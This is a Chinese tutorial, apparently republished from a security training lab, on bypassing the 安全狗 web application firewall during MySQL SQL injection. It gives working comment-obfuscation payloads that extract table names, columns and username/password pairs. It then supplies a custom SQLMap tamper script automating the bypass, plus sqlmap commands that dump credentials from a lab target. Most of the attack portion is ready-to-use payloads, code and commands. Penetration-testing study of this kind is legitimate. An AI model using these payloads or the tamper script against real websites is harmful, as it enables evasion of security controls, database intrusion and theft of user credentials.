教你编写SQLMap的Tamper脚本过狗
作者：合天网安实验室
测试环境
最新版某狗
测试方法
安全狗其实是比较好绕的WAF，绕过方法很多，但这里我们就用一种：注释混淆
一招鲜吃遍天
注释混淆，其实就是在敏感位置添加垃圾字符注释，常用的垃圾字符有/、!、*、%等
这里再解释一下内联注释，因为后面要用到：
MySQL内联注释： /*!xxxxxxx*/ !后面的语句会当作SQL语句直接执行
但是如果!后面跟着MySQL版本号，那么就会出现两种情况
当!后面接的数据库版本号小于自身版本号，就会将注释中的内容执行当!后面接的数据库版本号大于等于自身版本号，就会当做注释来处理。
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数据库版本号以五位数字表示，比如当前环境下数据库版本号表示为：50553
!后面接小于50553的：
执行了select 1;
!后面接大于等于50553的：
执行了 select ;
下面进入正题
bypass
and
and 1=1拦
但是把空格删掉就不拦了
所以，我们认为，and后面不能直接跟空格…
那么如果用其他形式表示空格呢？
前面说了，我们这次只使用注释混淆：
burp，抓包设置
长度5335是被拦截的
长度为899的说明成功绕过
我们选择其中一个作为空格的替代者就好了，这里我们选择/*%*
即： ->/*/*%**/
同理 ，or是一样的：
order by
测试发现还是只要替换order by中间的空格就可以了，所以绕过方法和前面一样：
union select
union select使用之前的垃圾字符替换空格发现不行了：
但是先不急于换方法，再爆破一遍试试：
发现又有很多可以绕过的了。
所以我们再更改一下替换空格的垃圾字符， 这里选/*/!%!/*/
即： ->/*/!%!/*/
获得当前数据库
正常语句：
?id=-1 union select 1,database(),3 --+
绕过：
即：()->(/*/!%!/*/)
获取数据库中的表
正常语句：
?id=-1 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security' --+
绕过：
经过测试发现拦截的是select + from + information_schema的组合
中间加垃圾字符替换空格已经不管用了，我们尝试对关键字进行混淆。
对information_schema进行混淆测试：
首先使用内联注释，发现，这里的版本号不管写啥，都直接被拦。
考虑是检测了select + from + /*! + information_schema的组合
加个换行试试
还是不行…
那既然都换行了，那我们再在换行前加一些垃圾字符：
如果我们直接插入垃圾字符，会当作SQL语句执行，所以前面还需要在垃圾字符前加个注释，可以是
/**/或#或--+但是经过测试只有
--+好用
有这么多可以绕过的，我们随便选择一个，比如/*%/
这样，最终语句如下：
?id=-1/*/!%!/*/union/*/!%!/*/select/*/!%!/*/1,group_concat(table_name),3/*/!%!/*/from/*/!%!/*//*!00000--+/*%/%0ainformation_schema.tables*/%20where%20table_schema=database(/*/!%!/*/)--%20+
获取表字段
正常语句：
?id=-1 union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users' --+
绕过语句：
?id=-1/*/!%!/*/union/*/!%!/*/select/*/!%!/*/1,group_concat(column_name),3/*/!%!/*/from/*/!%!/*//*!00000--+/*%/%0ainformation_schema.columns*/%20where%20table_name=0x7573657273--%20+
获取字段信息
?id=-1/*/!%!/*/union/*/!%!/*/select/*/!%!/*/1,/*/!%!/*/group_concat(username,0x2f,password),3/*/!%!/*/from/*/!%!/*/users
成功。
编写tamper
当我们下载了SQLMap，解压后，我们可以找到文件夹【tamper】，该文件夹有很多个Tamper脚本帮助我们绕过一些安全防护：
网上有很多相关脚本的介绍，我就不一一介绍了。
虽然SQLMap提供了这么多的Tamper脚本，但是在实际使用的过程中，网站的安全防护并没有那么简单，可能过滤了许多敏感的字符以及相关的函数。这个时候就需要我们针对目标的防护体系构建相应的Tamper脚本。
Tamper相当于一个加工车间，它会把我们的Payload进行加工之后发往目标网站。
我们随便打开一个Tamper脚本看一下它的结构：
#apostrophemask.py
#!/usr/bin/env python
"""
Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""
# 导入SQLMap中lib\core\enums中的PRIORITY优先级函数
from lib.core.enums import PRIORITY
# 定义脚本优先级
__priority__ = PRIORITY.LOWEST
# 对当前脚本的介绍
def dependencies():
pass
'''
对传进来的payload进行修改并返回
函数有两个参数。主要更改的是payload参数，kwargs参数用得不多。
'''
def tamper(payload, **kwargs):
"""
Replaces apostrophe character (') with its UTF-8 full width counterpart (e.g. ' -> %EF%BC%87)
References:
* http://www.utf8-chartable.de/unicode-utf8-table.pl?start=65280&number=128
* https://web.archive.org/web/20130614183121/http://lukasz.pilorz.net/testy/unicode_conversion/
* https://web.archive.org/web/20131121094431/sla.ckers.org/forum/read.php?13,11562,11850
* https://web.archive.org/web/20070624194958/http://lukasz.pilorz.net/testy/full_width_utf/index.phps
>>> tamper("1 AND '1'='1")
'1 AND %EF%BC%871%EF%BC%87=%EF%BC%871'
"""
return payload.replace('\'', "%EF%BC%87") if payload else payload
可见Tamper脚本的结构非常简单，其实渗透测试中的主要难点还是如何去绕过WAF。
下面我们针对bypass部分的绕过方法进行编写Tamper脚本，来实现自动化SQL注入：
实际测试的时候发现，sqlmap默认语句中的
AS关键字也会被拦截，这里也用同样的方法替换一下就好
#!/usr/bin/env python
import re
from lib.core.settings import UNICODE_ENCODING
from lib.core.enums import PRIORITY
__priority__ = PRIORITY.NORMAL
def dependencies():
pass
def tamper(payload, **kwargs):
if payload:
payload = payload.replace(" ","/*/!%!/*/")
payload = payload.replace("()","(/*/!%!/*/)")
payload = re.sub(r"(?i)(INFORMATION_SCHEMA.SCHEMATA)",r"/*!00000--%20/*%/%0aINFORMATION_SCHEMA.SCHEMATA*/",payload)
payload = re.sub(r"(?i)(INFORMATION_SCHEMA.TABLES)",r"/*!00000--%20/*%/%0aINFORMATION_SCHEMA.TABLES*/",payload)
payload = re.sub(r"(?i)(INFORMATION_SCHEMA.COLUMNS)",r"/*!00000--%20/*%/%0aINFORMATION_SCHEMA.COLUMNS*/",payload)
payload = re.sub(r"(?i)(/AS/)",r"//*!00000--%20/*%/%0aAS*//",payload)
return payload测试：
sqlmap.py -u "http://192.168.13.131/sqli-labs/Less-2/?id=1" --tamper "bypassDog.py" --proxy "http://127.0.0.1:8080/" --fresh-queries --random-agent
sqlmap.py -u "http://192.168.13.131/sqli-labs/Less-2/?id=1" --tamper "bypassDog.py" --proxy "http://127.0.0.1:8080/" --fresh-queries --random-agent --dbs
sqlmap.py -u "http://192.168.13.131/sqli-labs/Less-2/?id=1" --tamper "bypassDog.py" --proxy "http://127.0.0.1:8080/" --fresh-queries --random-agent -D security --tables
python2 sqlmap.py -u "http://192.168.13.131/sqli-labs/Less-2/?id=1" --tamper "bypassDog.py" --proxy "http://127.0.0.1:8080/" --fresh-queries --random-agent -D security -T users --columns
sqlmap.py -u "http://192.168.13.131/sqli-labs/Less-2/?id=1" --tamper "bypassDog.py" --proxy "http://127.0.0.1:8080/" --fresh-queries --random-agent -D security -T users -C username,password --dump --stop 3
到此这篇关于教你编写SQLMap的Tamper脚本过狗的文章就介绍到这了,更多相关SQLMap的Tamper脚本内容请搜索脚本之家以前的文章或继续浏览下面的相关文章希望大家以后多多支持脚本之家！